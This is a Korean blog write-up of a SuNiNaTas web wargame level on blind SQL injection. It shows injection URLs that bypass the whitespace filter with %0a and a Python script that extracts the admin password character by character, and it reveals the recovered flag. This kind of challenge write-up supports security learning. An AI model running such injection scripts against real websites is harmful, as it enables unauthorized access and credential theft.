반응형
keyword : blind injection
<!-- Hint : guest / guest & Your goal is to find the admin's pw -->
<!-- M@de by 2theT0P -->
Blind SQLinjection 문제이다.
이것저것 시도해본 결과, 일단 특수문자는 대부분 안되는 것을 확인했다. 다행히 '는 되서 escape이 가능하다. white space가 필터링 대상이라 고민이 좀 됐는데, 다행히 %0a로 우회할 수 있었다.(찾아보니 괄호()로 감싸도 됨!)
Part_one/web22/web22.asp?id=guest'and%0asubstring(pw,1,1)='g'--&pw=1234
Part_one/web22/web22.asp?id=admin'and(len(pw)=10)--&pw=1234
Part_one/web22/web22.asp?id=admin'and%0asubstring(pw,1,1)='a'--&pw=1234
위처럼 사용할 수 있다. len()을 이용하여 길이가 10인 걸 알 수 있었고, 나머지는 그냥 substring()을 이용해서 한글자씩 비교하도록 코드를 돌렸다.
import urllib.request
import string
array = string.printable
leak = ''
for j in range(1, 11):
for i in array:
target = "http://suninatas.com/Part_one/web22/web22.asp?id=admin'and%0asubstring(pw,{},1)='{}'--&pw=1234"
re = urllib.request.Request(target.format(j,i))
re.add_header("Cookie","ASPSESSIONIDCSAARTSC=KELNKLFBEBIHLHILKGKJNOBN")
data = urllib.request.urlopen(re).read().decode('utf-8')
#print(data)
if 'OK' in data:
leak += i
print(leak)
break
'''
...
N1c3Bil
N1c3Biln
N1c3Bilnl
N1c3Bilnl)
반응형
'Write-up' 카테고리의 다른 글
[Python Challenge] level 0 (0) | 2019.04.13 |
---|---|
[SuNiNaTas] level 23 (0) | 2019.04.13 |
[SuNiNaTas] level 8 (0) | 2019.04.13 |
[SuNiNaTas] level 7 (0) | 2019.04.13 |
[SuNiNaTas] level 6 (1) | 2019.04.13 |